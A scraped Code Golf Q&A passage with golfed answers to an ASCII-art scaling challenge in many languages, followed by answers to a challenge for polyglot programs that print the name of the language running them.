aaaccc bbbddd bbbddd bbbddd ``` and transposing it back gives you ``` aaabbb aaabbb aaabbb cccddd cccddd cccddd ``` [Answer] ## Haskell, 49 bytes ``` x=(=<<).replicate e n=unlines.x n.map(x n).lines ``` The enlarge function is `e`, which takes a count and a string, and returns a string: ``` λ: putStrLn $ e 3 "ab\ncd\n" aaabbb aaabbb aaabbb cccddd cccddd cccddd ``` [Answer] # APL, 11 chars @Gareth did essentially the same thing first, in J, so this APL entry is just for exhibition, not competition - he's the winner. ``` E←{⍉⍺/⍉⍺/⍵} ``` Usage: magnification in left arg (⍺), art in the form of a 2d character matrix in right arg (⍵). ⍺/⍵ will replicate elements across each row of a vector or matrix (2/'O O' becomes 'OO OO'). ⍉⍺/⍉ will transpose that, replicate the elements, transpose that. (If we were going for clarity instead of program length, the code could have been E←{⍺/[1]⍺/⍵} ) ``` I←5 32⍴' OOOOOO OOOOOO OOOOOO OOOOOOOOO OO OO OO OO OO OO OO OO OO OO OOOOO OO OO OO OO OO OO OOOOOO OOOOOO OOOOOO OOOOOOO' I OOOOOO OOOOOO OOOOOO OOOOOOO OO OO OO OO OO OO OO OO OO OO OO OOOOO OO OO OO OO OO OO OOOOOO OOOOOO OOOOOO OOOOOOO 3 E I OOOOOOOOOOOOOOOOOO OOOOOOOOOOOOOOOOOO OOOOOOOOOOOOOOOOOO OOOOOOOOOOOOOOOOOOOOO OOOOOOOOOOOOOOOOOO OOOOOOOOOOOOOOOOOO OOOOOOOOOOOOOOOOOO OOOOOOOOOOOOOOOOOOOOO OOOOOOOOOOOOOOOOOO OOOOOOOOOOOOOOOOOO OOOOOOOOOOOOOOOOOO OOOOOOOOOOOOOOOOOOOOO OOOOOO OOOOOO OOOOOO OOOOOO OOOOOO OOOOOO OOOOOO OOOOOO OOOOOO OOOOOO OOOOOO OOOOOO OOOOOO OOOOOO OOOOOO OOOOOO OOOOOO OOOOOO OOOOOO OOOOOO OOOOOO OOOOOO OOOOOO OOOOOOOOOOOOOOO OOOOOO OOOOOO OOOOOO OOOOOO OOOOOO OOOOOOOOOOOOOOO OOOOOO OOOOOO OOOOOO OOOOOO OOOOOO OOOOOOOOOOOOOOO OOOOOO OOOOOO OOOOOO OOOOOO OOOOOO OOOOOO OOOOOO OOOOOO OOOOOO OOOOOO OOOOOO OOOOOO OOOOOO OOOOOO OOOOOO OOOOOO OOOOOO OOOOOO OOOOOOOOOOOOOOOOOO OOOOOOOOOOOOOOOOOO OOOOOOOOOOOOOOOOOO OOOOOOOOOOOOOOOOOOOOO OOOOOOOOOOOOOOOOOO OOOOOOOOOOOOOOOOOO OOOOOOOOOOOOOOOOOO OOOOOOOOOOOOOOOOOOOOO OOOOOOOOOOOOOOOOOO OOOOOOOOOOOOOOOOOO OOOOOOOOOOOOOOOOOO OOOOOOOOOOOOOOOOOOOOO ``` [Answer] # Bash/sed script, 48 chars ``` printf -vr %$1s sed -n s/./${r// /&}/g${r// /;p} ``` Save as a script, `chmod +x` and run: ``` $ ./asciiexpand 3 <<< $'ab\ncd' aaabbb aaabbb aaabbb cccddd cccddd cccddd $ ``` ### How does it work? The meat of it is in the `sed` command. For example, if n=3, then the sed command is expanded to something like: ``` sed -n 's/./&&&/g;p;p;p' ``` This compound `sed` command can be broken up into: * `s/./&&&/g` - this substitute command matches each character and replaces it with the character repeated 3 times * 3x `p` commands - this just prints the whole pattern space (i.e. the current line) 3 times We pass `-n` to sed to tell it not to print anything unless explicitly told to, so we have full control of what is printed and how many times. I couldn't figure out a quick way to generate arbitrary-length repeating strings directly in `sed`, so I used some `bash` tricks instead: ``` printf -vr "%3s" ``` This prints a string (not specified, i.e. empty), with 3 leading spaces, and assigns the result to the `bash` variable `r`. We then use `bash` parameter expansion to transform this string of spaces to what we need substituted into the `sed` expression: ``` $ echo ${r// /&} &&& $ echo ${r// /;p} ;p;p;p $ ``` I was able to get away with removing quotes around the `printf` format specifier and the `sed` expression, as none of the characters within need escaping in the `bash` shell. ### Character count: ``` $ submission='r=`printf %$1s` > sed -n s/./${r// /&}/g${r// /;p}' $ echo ${#submission} 48 $ ``` [Answer] # PERL,  41 39  25   22 chars PERL, simple and effective - created right for the task. When invoked with `-pi3`, where `3` is the parameter `n`: ``` s/./$&x$^I/ge;$_ x=$^I ``` Classical solution (39 chars): ``` $n=<>;print map{s/./$&x$n/ge;"$_"x$n}<> ``` Classical solution needs the `n` is specified in the first line of input, e.g. ``` 3 ab cd ``` Thanks @manatwork for the `$&` trick. [Answer] # Ruby: ~~64~~ 49 characters All data received on STDIN: first line the scaling factor, then the ASCII art. ``` BEGIN{n=gets.to_i} $_=[$_.gsub(/./){$&*n}]*n*$/ ``` Sample run: ``` bash-4.2$ ruby -lpe 'BEGIN{n=gets.to_i};$_=[$_.gsub(/./){$&*n}]*n*$/' <<< '3 > ab > cd' aaabbb aaabbb aaabbb cccddd cccddd cccddd ``` # Ruby: ~~44~~ 41 characters Assuming that every input line is terminated with line separator. Thanks to @Ventero. ``` $.<2?n=$_.to_i: $><<$_.gsub(/./){$&*n}*n ``` Sample run: ``` bash-4.2$ ruby -ne '$.<2?n=$_.to_i: $><<$_.gsub(/./){$&*n}*n' <<< '3 > ab > cd' aaabbb aaabbb aaabbb cccddd cccddd cccddd ``` [Answer] # Python 3 - 84 Not the shortest but a different answer nonetheless. An interesting one-liner. ``` n=int(input()) for i in eval(input()):print(((''.join(j*n for j in i)+'\n')*n)[:-1]) ``` Put in a number first, then the ASCII art as a Python list, e.g.: ``` C:\Users\User4\Desktop>c:/python33/python.exe golf.py 3 ["aabb","bbcc","ccdd"] aaaaaabbbbbb aaaaaabbbbbb aaaaaabbbbbb bbbbbbcccccc bbbbbbcccccc bbbbbbcccccc ccccccdddddd ccccccdddddd ccccccdddddd ``` [Answer] # GolfScript, 29 characters ``` {:i;n/{1/:c;{c{i*}/n}i*}/}:f; ``` This defines a block `f`, that when called will produce the desired output. It assumes arguments are on the stack (because that's basically how arguments are passed in GolfScript). Ungolfed (does that even make sense? :P): ``` {:i;n/{ # for each line... 1/:c; # save characters of string in c { # i times... c{ # for each character... i* }/ n }i* }/}:f; # Test run "ab cd" 3 f ``` [Answer] # Golfscript, 23 characters ``` ~(:i;n/{{{.}i*}:c%c}%n* ``` I've decided to write an entire program because it has less overhead than even an anonymous function does: * `~(:i;` - eval the input, then decrement the multiplier, store it as `i` and discard. * `n/{...}%n*` - split by newlines, map each line, join by newlines + `{...}:c%c`, - take a block, apply it on map-each element, then apply it to the whole line. - `{.}i*` - duplicate this element `i` times Live demo: <http://golfscript.apphb.com/?c=OyciYWJjCmRlZiIzJwp%2BKDppO24ve3t7Ln1pKn06YyVjfSVuKg%3D%3D> Example usage: ``` ;'"abc def"3' ~(:i;n/{{{.}i*}:c%c}%n* ``` [Answer] # Python 3 - ~~109~~ ~~107~~ 93 ``` i=input;n,s,a=int(i()),i(),[] while s:a+=[''.join(c*n for c in s)]*n;s=i() print('\n'.join(a)) ``` First, input the number, then the string. Should be self-explanatory... ~~Thanks to Waleed Khan for suggesting removing the `[]`~~ Thanks to Volatility for suggesting having `a` be a list. [Answer] # Java - 217 First try at golfing. Seems like Java isn't the language to do it in. ``` enum M{;public static void main(String[]a){int f=new Integer(a[0]),i=0,j,k;a=a[1].split("\n");for(;++i<a.length*f;System.out.println())for(j=0;++j<a[i/f].length();)for(k=0;k++<f;)System.out.print(a[i/f].charAt(j));}} ``` On Windows you need to replace "\n" with "\r\n". ``` java M 3 "ab cd" aaabbb aaabbb aaabbb cccddd cccddd cccddd ``` [Answer] (Edit: This solution is now invalid because the semantics of the `銻` instruction has changed. I didn’t realise that I’d already made use of the instruction when I changed it. You can, however, fix ths program by simply changing it to the newer instruction `壹`.) # ~~[Sclipting](http://esolangs.org/wiki/Sclipting), 19 characters~~ Expects the input to be separated by `\n` (no `\r`) and the first line to contain the multiplying factor. ``` 겠坼銻標⑴가殲各標⓶各①復終겠併①復終 ``` ## Explanation ``` 겠坼 | split everything at \n 銻 | get first element (the factor) 標 | mark ⑴가殲 | bring list to front; remove first element (the factor) 各 | for each line... 標⓶ | mark 各①復終 | for each character, multiply it 겠併 | add a newline and concatenate everything above the mark ①復 | multiply that 終 | end of loop ``` At the end, the stack will look like this: ``` [ factor, mark, line1, line2, line3, ... ] ``` Everything above the mark is automatically concatenated and output, the rest discarded. [Answer] **J, 7 chars** ``` ([#"1#) ``` Exact same thing as in @Tobia's APL answer, but in ascii chars. ``` a =. ' 0 ',.'0 0',.' 0 ' a 0 0 0 0 2 ([#"1#) a 00 00 00 00 00 00 00 00 ``` [Answer] # Powershell (96) ``` function m($n,$s){$s.split("`n")|%{$l="";$_.ToCharArray()|%{$c=$_;1..$n|%{$l+=$c}};1..$n|%{$l}}} ``` Thought I'd give this a shot in PS. Using piping into foreach's (%) to keep it short here, but the `function` and `ToCharArray` are making it take a hit it brevity. To use it, you call it from the command line like this: ``` PS C:\> m 3 "ab >> cd" >> aaabbb aaabbb aaabbb cccddd cccddd cccddd ``` Here's the non-minimised version: ``` function f($n, $s) { $s.split("`n") | % { # split input into separate lines $l="" # initialize an output line $_.ToCharArray() | % { # split line into chars $c=$_ ; 1..$n | % { # add n chars to the line $l+=$c } } 1..$n | % {$l} # output the line n times } } ``` [Answer] # Julia, 74 chars/bytes ``` julia> f(i,n)=print(prod([(prod(["$c"^n for c in l])*"\n")^3 for l in split(i)])) f (generic function with 1 method) julia> f("ab\ncd",3) aaabbb aaabbb aaabbb cccddd cccddd cccddd ``` 7 less if I just return the string. `julia>` is the interactive prompt. [Answer] # [Canvas](https://github.com/dzaima/Canvas), 2 [bytes](https://github.com/dzaima/Canvas/blob/master/files/chartable.md) ``` :* ``` [Try it here!](https://dzaima.github.io/Canvas/?u=JXVGRjFBJXVGRjBB,i=MyUwQSU2MCU2MCU2MCUwQSUyME9PT09PTyUyMCUyME9PT09PTyUyMCUyME9PT09PTyUyMCUyME9PT09PT08lMjAlMjAlMjAlMjAlMjAlMjBPT09PT08lMjAlMjAlMjBPT09PT08lMjAlMjBPTyUyMCUyMCUyMCUyMCUyMCUyME9PT09PT08lMjAlMEFPTyUyMCUyMCUyMCUyMCUyMCUyME9PJTIwJTIwJTIwJTIwT08lMjBPTyUyMCUyMCUyME9PJTIwT08lMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjBPTyUyMCUyMCUyMCUyMCUyMCUyMCUyME9PJTIwJTIwJTIwJTIwT08lMjBPTyUyMCUyMCUyMCUyMCUyMCUyME9PJTIwJTIwJTIwJTIwJTIwJTIwJTBBT08lMjAlMjAlMjAlMjAlMjAlMjBPTyUyMCUyMCUyMCUyME9PJTIwT08lMjAlMjAlMjBPTyUyME9PT09PJTIwJTIwJTIwJTIwJTIwJTIwJTIwT08lMjAlMjAlMjBPT08lMjBPTyUyMCUyMCUyMCUyME9PJTIwT08lMjAlMjAlMjAlMjAlMjAlMjBPT09PTyUyMCUyMCUyMCUwQU9PJTIwJTIwJTIwJTIwJTIwJTIwT08lMjAlMjAlMjAlMjBPTyUyME9PJTIwJTIwJTIwT08lMjBPTyUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyME9PJTIwJTIwJTIwJTIwT08lMjBPTyUyMCUyMCUyMCUyME9PJTIwT08lMjAlMjAlMjAlMjAlMjAlMjBPTyUyMCUyMCUyMCUyMCUyMCUyMCUwQSUyME9PT09PTyUyMCUyME9PT09PTyUyMCUyME9PT09PTyUyMCUyME9PT09PT08lMjAlMjAlMjAlMjAlMjAlMjBPT09PT08lMjAlMjAlMjBPT09PT08lMjAlMjBPT09PT09PJTIwT08lMjAlMjAlMjAlMjAlMjAlMjAlMEElNjAlNjAlNjA_,v=7) [Answer] # Powershell, 54 bytes ``` param($s,$n)$s-replace'.',('$0'*$n)-split' '|%{,$_*$n} ``` Test script: ``` $f = { param($s,$n)$s-replace'.',('$0'*$n)-split' '|%{,$_*$n} } @( @" ab cd "@ , @" OOOOOO OOOOOO OOOOOO OOOOOOO OOOOOO OOOOOO OO OOOOOOO OO OO OO OO OO OO OO OO OO OO OO OO OO OO OO OO OOOOO OO OOO OO OO OO OOOOO OO OO OO OO OO OO OO OO OO OO OO OO OOOOOO OOOOOO OOOOOO OOOOOOO OOOOOO OOOOOO OOOOOOO OO "@ ) | % { &$f $_ 3 } ``` Explanation: * `$s-replace'.',('$0'*$n)` repeats each symbol exept new line. * `-split'``n'` splits the wide string by new line * `|%{,$_*$n}` repeats each line as an array element and returns array The result is an array of wide and repeated strings. [Answer] # [R](https://www.r-project.org/), 83/72 bytes Alt approach using regexps If we're allowed a trailing newline, 72 bytes: ``` function(s,n)cat(gsub("([^ ]* )",r,gsub("([^ ])",r<-strrep("\\1",n),s))) ``` [Try it online!](https://tio.run/##K/qfZvs/rTQvuSQzP0@jWCdPMzmxRCO9uDRJQ0kjOo4rVotLU0mnSAdJBMS30S0uKSpKLdBQiokxVALq0inW1NT8n6ahpOAPBgo4aH8FLhAHBCA0kAQzYDQQ4FMBNooYMwi7Q0nHWPM/AA "R – Try It Online") Otherwise, 83 bytes: ``` function(s,n)write(rep(el(strsplit(gsub("([^\n])",strrep("\\1",n),s),"\n")),e=n),1) ``` [Try it online!](https://tio.run/##jU4xDsIwDNx5ReTJlryUvW/oAwgMVEkVqTJVnIrnByeIEcoNPp91d3Kucaxxl7mkh6Cy0DOnEjCHDcOKWrJuayq46H5HwMvNy5WA7d4c4P0AlmElBi9AxGE0OVCNCG7qcF94cqcmGt5ssy8fNvxy9Kp/Og7/AD5TfQE "R – Try It Online") [Answer] # [Vyxal](https://github.com/Vyxal/Vyxal) `j`, 3 bytes ``` •εf ``` [Try it Online!](https://vyxal.pythonanywhere.com/?v=1#WyJqIiwiIiwi4oCizrVmIiwiIiwiM1xuW1wiIE9PT09PTyAgT09PT09PICBPT09PT08gIE9PT09PT08gICAgICBPT09PT08gICBPT09PT08gIE9PICAgICAgT09PT09PTyBcIixcIk9PICAgICAgT08gICAgT08gT08gICBPTyBPTyAgICAgICAgICBPTyAgICAgICBPTyAgICBPTyBPTyAgICAgIE9PICAgICAgXCIsXCJPTyAgICAgIE9PICAgIE9PIE9PICAgT08gT09PT08gICAgICAgT08gICBPT08gT08gICAgT08gT08gICAgICBPT09PTyAgIFwiLFwiT08gICAgICBPTyAgICBPTyBPTyAgIE9PIE9PICAgICAgICAgIE9PICAgIE9PIE9PICAgIE9PIE9PICAgICAgT08gICAgICBcIixcIiBPT09PT08gIE9PT09PTyAgT09PT09PICBPT09PT09PICAgICAgT09PT09PICAgT09PT09PICBPT09PT09PIE9PICAgICAgXCJdIl0=) I/O is as lists of lines. The `j` flag formats the output into ASCII art. ``` • # Repeat each character of each line by the number ε # Repeat each line by the number f # Flatten ``` [Answer] # K, 20 ..... ``` {,/y#',:',/'y#'/:x} ``` [Answer] # [Extended BrainFuck](http://sylwester.no/ebf/) : 158 ``` {a<]<[->+}3>,>3+[->4+[-<<4->>]&a>+<<]<+[-<,[>10+[-<->>+<]<[[->>+<<]3>[->[->+&a&a#3<+>>]>>]<[-]<<]>>[>[-4<[<]>[.>]>>.>]4<[-]<[-]4>[-]]>>[->+<]>[-<+<+>>]4<+<]>] ``` It turns into: # Brainfuck: 185 ``` >>>,>+++[->++++[-<<---->>]<]<[->+>+<<]<+[-<,[>++++++++++[-<->>+<]<[[->>+<<]>>>[->[->+<]<[->+<]<[->+<<<+>>]>>]<[-]<<]>>[>[-<<<<[<]>[.>]>>.>]<<<<[-]<[-]>>>>[-]]>>[->+<]>[-<+<+>>]<<<<+<]>] ``` It requires an interpreter that either has 0 or no change as EOF marker. `beef`, available from Ubuntu repos, works swell: ``` $ ( echo -n 2 > cat <<eof > BBBB RRRR AAA IIII NN NN FFFFF * * * KK KK > BB BB RR RR AA AA II NNN NN FF * KK KK > BBBB RRRR AAAAA II NNNNNN FFFF ***** KKKKK > BB BB RR RR AA AA II NN NNN FF * KK KK > BBBB RR RR AA AA IIII NN NN FF * * * KK KK > eof > ) | beef double.bf BBBBBBBB RRRRRRRR AAAAAA IIIIIIII NNNN NNNN FFFFFFFFFF ** ** ** KKKK KKKK BBBBBBBB RRRRRRRR AAAAAA IIIIIIII NNNN NNNN FFFFFFFFFF ** ** ** KKKK KKKK BBBB BBBB RRRR RRRR AAAA AAAA IIII NNNNNN NNNN FFFF ** KKKK KKKK BBBB BBBB RRRR RRRR AAAA AAAA IIII NNNNNN NNNN FFFF ** KKKK KKKK BBBBBBBB RRRRRRRR AAAAAAAAAA IIII NNNNNNNNNNNN FFFFFFFF ********** KKKKKKKKKK BBBBBBBB RRRRRRRR AAAAAAAAAA IIII NNNNNNNNNNNN FFFFFFFF ********** KKKKKKKKKK BBBB BBBB RRRR RRRR AAAA AAAA IIII NNNN NNNNNN FFFF ** KKKK KKKK BBBB BBBB RRRR RRRR AAAA AAAA IIII NNNN NNNNNN FFFF ** KKKK KKKK BBBBBBBB RRRR RRRR AAAA AAAA IIIIIIII NNNN NNNN FFFF ** ** ** KKKK KKKK BBBBBBBB RRRR RRRR AAAA AAAA IIIIIIII NNNN NNNN FFFF ** ** ** KKKK KKKK ``` Ungolfed EBF code: ``` ;;;; Multiply ;;;; Takes a digit x and ASCII art on STDIN ;;;; Prints ASCI art scaled x times ;;;; Usage: ;;;; bf ebf.bf < multiply.ebf >multiply.bf ;;;; bf multiply.bf ;;; Memory map for this program :zero :str :flag :tmp :dup :num ;;; Macros ;; EOL support. Comment out the body of the two ;; macros below to only support 0 and no change ;; Some interpreters use -1 {eol_start +(- } {eol_end ) } ;; macro that reads a digit. ;; the actual number is one more than input ;; ^12 uses 3 cells from origin {read_number , ; read char ^1 3+(-^2 4+(-^ 4-)) ; reduce by 3*4*4=48 } ;; duplicate current element ;; to the left using the right as tmp {copy_left (-^1+)^1(-^0+<+) } ;; Duplicate char n times while ;; shifting to the right {handle_char $str(-$tmp+) ; copy the char to tmp $dup(-$num(->+) ; for each dup move num $dup(-$num+) ; and dup one step to the right $tmp(-$dup+$str+) ; and copy the char back to str and to dup @flag) ; which is the new tmp (it gets shifted to the right) $tmp(-) ; clear char when done } {handle_linefeed $dup(- ; for each dup $zero[<]> ; go to beginnning of string [.>]@str ; print string $tmp. ; print newline ) $zero[-]<[-]>@zero ; clean last two chars $tmp(-) ; remove line feed } ;;; Main program ;; read number $tmp &read_number $tmp (-$dup+$num+) ;$tmp,[-] ; uncomment to require a newline before asci art $flag+(- $str = , ( ;; NB! The line containing EOF will not be printed! &eol_start $flag 10+(-$str-$tmp+) if $str is not linefeed ( &handle_char ) $tmp ( linefeed &handle_linefeed ) $num &copy_left ; we need two copies of the duplicate dupber $flag+ ; flag to &eol_end ) ) ``` [Answer] # Rebol - ~~87~~ 79 ``` r: do input while[d: input][forskip d r[insert/dup d d/1 r - 1]loop r[print d]] ``` Nicely formatted version: ``` r: do input while [d: input] [ forskip d r [insert/dup d d/1 r - 1] loop r [print d] ] ``` Usage example: ``` rebol -qw --do 'Rebol[]r: do input while[d: input][forskip d r[insert/dup d d/1 r - 1]loop r[print d]]' <<< "3 ab cd" aaabbb aaabbb aaabbb cccddd cccddd cccddd ``` NB. This code only works in Rebol 2 at this moment (The **INPUT** function used is not fully implemented in Rebol 3 yet). [Answer] # [R](https://www.r-project.org/), 125 bytes ``` function(s,n,x=utf8ToInt(s),m=matrix(x[u<-x!=10],,sum(!u)+1))for(i in 1:ncol(m))cat(rep(intToUtf8(rep(m[,i],e=n)),n),sep=" ") ``` [Try it online!](https://tio.run/##jY67CsMwDEX3fIXrSaIqNJ1KqT@gU5Z0ChlCiMFQy8EP8N@niUvHPu6gowviIL9otejEYzSOIRBTVinqc@tuHCEgWWWH6E2G3KXrIe9UfeyJQrKwS7ivEbXzYIRhUV94dA@wiOMQwU8zGI6tu6@20mxHpqdJMSIxUphmJSuJiwYpmhLxgY2otrLlxXWW5c013y6K6h/Hzz8knXB5Ag "R – Try It Online") Converts string to UTF8, puts into a matrix whose columns are lines of text (removing newlines), and then repeats each char and the generated lines before printing separeated by newlines. [Answer] # R - 89 ``` M=function(I,N) cat(paste(lapply(lapply(strsplit(I,""),rep,e=N),paste,collapse=""),"\n")) I <- c("aa aa aa", "bbb bbb bbb", "c c c c c c") N <- 3 I # aa aa aa # bbb bbb bbb # c c c c c c" M(I,N) # aaaaaa aaaaaa aaaaaa # bbbbbbbbb bbbbbbbbb bbbbbbbbb # ccc ccc ccc ccc ccc ccc ``` [Answer] ## MATLAB: 20 characters ``` ['' imresize(ans,n)] ``` This solution assumes that the image is stored in a file called `startup.m` and that it is allowed to give the amount of replications to matlab when calling it, this can be done by means of: `!matlab -r "n=3"&` ## MATLAB, call without argument: 23 characters ``` load;['' imresize(s,n)] ``` Unlike the first solution, the latter two assume that the amount of replications may not be expected in the call. For these solutions the original string and number are expected in a file called `matlab.mat` in your current directory. ## MATLAB, mathematical alternative: 27 characters ``` load;['' kron(s,ones(1,n))] ``` [Answer] **C# (177)** ``` public string e(string i,int x){return string.Join("",i.Split('\n').Select(a=>string.Join("",Enumerable.Repeat(string.Join("",a.ToCharArray().Select(c=>new string(c,x))),x))));} ``` Expects input string "i" containing new lines "\n" as the delimiter. Formatted ``` public string e(string i, int x) { return string.Join("", i.Split('\n').Select(a => string.Join("", Enumerable.Repeat( string.Join("", a.ToCharArray().Select(c => new string(c, x))), x)))); } ``` [Answer] # CJam, 14 bytes CJam is newer than this challenge (and the main feature I'm using is actually very recent), so this answer wouldn't be eligible for being accepted - but it's not beating APL anyway, so... ``` l~qN/1$e*fe*N* ``` [Test it here.](http://cjam.aditsu.net/#code=l~qN%2F1%24e*fe*N*&input=4%0A%20OOOOOO%20%20OOOOOO%20%20OOOOOO%20%20OOOOOOO%0AOO%20%20%20%20%20%20OO%20%20%20%20OO%20OO%20%20%20OO%20OO%20%20%20%20%20%0AOO%20%20%20%20%20%20OO%20%20%20%20OO%20OO%20%20%20OO%20OOOOO%20%20%0AOO%20%20%20%20%20%20OO%20%20%20%20OO%20OO%20%20%20OO%20OO%20%20%20%20%20%0A%20OOOOOO%20%20OOOOOO%20%20OOOOOO%20%20OOOOOOO) ## Explanation With the new `e*` which repeats each character in a string, this is really straightforward: ``` l~ e# Read and eval the scale factor. qN/ e# Read the rest of the input as the ASCII art and split into lines 1$e* e# Copy the scale factor and repeat each line by it. fe* e# Repeat the characters in each line by the scale factor. N* e# Join with newlines. ``` [Answer] # [RProgN](https://github.com/TehFlaminTaco/Reverse-Programmer-Notation) 100 Bytes (Windows) Non-Competing ``` 'l' asoc 'i' asoc i '[^ ]' '%0' l rep replace '[^ ]*' '%0 ' l rep 'z' asoc z 1 z len 1 - sub replace ``` RProgN doesn't have character escapes as of writing, which makes any handling of new lines require a physical new line. As such, this answer (and any input) has to use CRLFs, instead of just LFs. :( Also, the 'rep' function was only added after this challenge was issued, as such, this is non-competing. ]
[Question] [ Your task is to write a program that executes in as many languages as possible, with as few characters as you can. To avoid trivial solutions, the program must print the name of the language it was run in. ## Scoring Your program has to work in at least 5 languages. A program's score is given as: $$\frac {\text{(number of languages)}^{1.5}} {\text{(length of program)}}$$ The highest score wins. [Answer] ## Bash, C, C++, Obj-C, Obj-C++, Perl, PHP, Ruby, 183 chars score ~ 0.1236 For the C and C-like codes I owe a debt to @baby-rabbit. The others are inspired by the recognition that many languages have an `eval` statement that will grudgingly accept invalid syntax. Outputs the language name to standard output. Sometimes generates a lot of error messages on standard error, so suppress them with `2>/dev/null` as you run them. ``` #if 0 'PHP<?/*';eval "print\$=?'Perl':'Ruby';echo Bash";exit __END__ #endif #include <stdio.h> main(){puts( #ifdef __OBJC__ "obj-" #endif "C" #ifdef __cplusplus "++" #endif );}//*/?>' ``` The php solution outputs `'PHP'` (including the single quotes), which may be bending the rules a little bit. Last edit: shaved 12 chars from insight that `$=` is `false` in Ruby, `60` in Perl, and `print$=?...` is almost surely an error in Bash. Shaved 7 more from insight the Perl/Ruby/Bash test can now go into a single eval statement. If the rules can tolerate more bending, I present this 8 language, 43 character solution (score 0.5262) ``` print("phperluarscriptrubypythoncatebg13"); ``` for which the output includes the name of the interpreter for `php`, `perl`, `lua`, `rscript`, `ruby`, `python`, `cat`, and `rot13`. [Answer] # C, C++, BF, BASH and Ruby; 280 chars Score is about 0.040 ``` #include "stdio.h" #define s "C" #ifdef __cplusplus #define s "C++" #endif #ifndef s #"+++++++++[>++++++++++>+++++++++<<-]>>-.<++++.>-.++++++++.<----.>---.<+++++++.>---.++++++++.<<++++++++++.[-]" if [ 1 == 2 ];then puts "Ruby" exit fi echo "BASH" exit end #endif main(){puts(s);} ``` Note that I am using a Linux system. The code is run or compiled with the following commands (the file's name is `test.c`) C: ``` gcc test.c ``` When run with `./a.out`, output is `C` C++: ``` c++ test.c ``` When run with `./a.out`, output is `C++` BASH: ``` ./test.c ``` Outputs: `BASH` Ruby: ``` ruby test.c ``` Outputs: `Ruby` BrainF\*\*\*: Verified using the following: * [A JS debugger](http://www.lordalcol.com/brainfuckjs/) * [A free interpreter](https://github.com/apankrat/bff) * [My interpreter](https://github.com/mjgpy3/Brainf___Interpreter) Outputs: `brainfuck` Note that if the JS debugger is used, then the first two minus signs need to be removed. They were included to offset the plus signs in the string literal `"C++"`. This was a very fun project, I'm working on adding more languages. Just to add further clarity, here are my interpreter's/compiler's specs: * gcc version 4.6.3 * ruby 1.9.3p194 (2012-04-20 revision 35410) [x86\_64-linux] * GNU bash, version 4.2.24(1)-release (x86\_64-pc-linux-gnu) **SIDE NOTE** Using @baby-rabbit's trick I was able to extend my code to be executable in 7 languages (objective-C and objective-c++ being added). This is not my solution since I did copy some, but I thought I would show it off. **Update 9.12** Added SmallTalk run with gnu-smalltalk! **SmallTalk, C, C++, Objective-C, Objective-C++, BASH, BF, Ruby; 384 chars (Score: 0.059)** ``` #if (a) ##(true) ifTrue: ['SmallTalk' printNl] ##(ObjectMemory quit) #"+++++++++++[>++++++++++>+++++++++<<-]>>-.<++++.>-.++++++++.<----.>---.<+++++++.>---.++++++++.<<++++++++++.[-]" if [ 1 == 2 ];then puts 'Ruby' exit fi echo 'BASH' exit end =begin #endif #include "stdio.h" main(){puts( #ifdef __OBJC__ "Objective-" #endif "C" #ifdef __cplusplus "++" #endif );} #ifdef b =end #endif ``` In the above code you will need to rename the file to produce the langauge's name for objective-c, obj-c++, c and c++. [Answer] ## bash, c, c++, obj-c, obj-c++; 134 chars; score=0.083 ``` #if x echo "bash" exit #endif #include <stdio.h> int main(){puts( #ifdef __OBJC__ "obj-" #endif "c" #ifdef __cplusplus "++" #endif );} ``` rename file and run/compile as: * sh file.sh * cc file.c * cc file.cpp * cc file.m * cc file.mm (where cc is clang-421.10.42) [Answer] ## Lua, Ruby, VimL, Sed, Befunge (129 chars; ~0.087 points) Not sure if this one counts--the sed-part is embedded in the shebang line which is arguably a hack to get around the restriction. This also means that it should be run as an executable and not directly with `sed`. I was lucky that all the other languages (sans Befunge) automagically ignores the shebang line (though apparently Ruby refuses to run the file if it has a shebang line that doesn't contain the string 'ruby' in it). ``` #!sed sanava;s/.*/sed/;q;ruby --"".to_i#>"egnufeB">:#,_@ if 0 then if IO then puts"Ruby" else print"Lua" end else echo"VimL" end ``` Sample usage: ``` % lua tmp/glot.poly Lua % ruby tmp/glot.poly Ruby % ./tmp/glot.poly sed % cfunge tmp/glot.poly # Requires Befunge-98 Befunge :source tmp/glot.poly # from vim VimL # displayed as message ``` [Answer] # AsciiDots, Befunge-93, C, C++, ><>, Funge-98, GolfScript, lua, MinkoLang, Python 2, Python 3, Ruby, vi (0.170444 points) ``` #/* ["39-egnufeB">:|;ooo"><>" n,n=1,1--[[],0][1]#>52*,@ """""GolfScript" puts"Ruby\n" __END__ :puts{""" print("Python %d"%(3/2*2)); """stoDiicsA"$\<ESC>dggivi<ESC>ZZ*/ #include<stdio.h> main(){puts(sizeof'a'-1?"C":"C++");} //>"Minkolang"9[O]." //^}>"89-egnuF"#[v,<]"]]print"lua"--""" ``` <ESC> stands for the literal escape character 27 I know this is an old post, but it was interesting so I had to give it a shot :P [Answer] ## BF, Bash, Batch, C, vi (163 characters; score ≈ .0686) (`<ESC>` stands for ASCII code 27.) ``` rem (){ ((0));};true /* rem ;goto(){ rem;} rem ivi<ESC>ZZ'++++++++[>NUL ++++++++<NUL -]>NUL ++.++++.*/;main(){puts("C");}/*' goto a echo Bash exit :a echo Batch rem */ ``` I tested this, as a batch file, with the MS-DOS 6.22 version of COMMAND.COM. By default, that interpreter mixes lines of source code with the output. To prevent that from happening, execute `echo off` before running the batch file. To execute the vi code, which I have only tested using Vim, use the following command: ``` cat /dev/null > tmpfile && vi -s polyglot.sh tmpfile > /dev/null 2>&1 && cat tmpfile ``` [Answer] # Every Python Release, 18.37291 points ``` import sys print('Python '+'.'.join(map(str,sys.version_info[:-2]))) ``` Technically valid, if you consider all the python versions to be different languages. There are currently 116 python versions, which I believe gives me a score of around 18.37291. (Also I understand if this isn't considered a valid answer, this was just for fun) [Answer] # bash, zsh, ksh, csh, tcsh, 15 chars, score 0.745 This one's a bit of a stretch since they're all related languages, but there are differences: ``` ps -ocomm= -p$$ ``` [Answer] # 16 languages, 348 bytes, score: 0.183908046 ``` #include <stdio.h> #if 0 #replace "C(gcc)" "C(ecpp)" #replace "C++(gcc)" "C++(ecpp)" #endif #ifdef __clang__ #define d 2 #elif __TINYC__ #define d 4 #else #define d 0 #endif // rk:start print: "rk" \ ps -ocomm= -p$$; exit; int x=sizeof('a')%2+d;char*arr[]={"C(gcc)","C++(gcc)","C(clang)","C++(clang)","C(tcc)"};int main(){puts(arr[x]);} ``` --- This works in C(gcc), C++(gcc), C(ecpp), C++(ecpp), C(clang), C++(clang), C(tcc), sh, dash, bash, zsh, ksh, 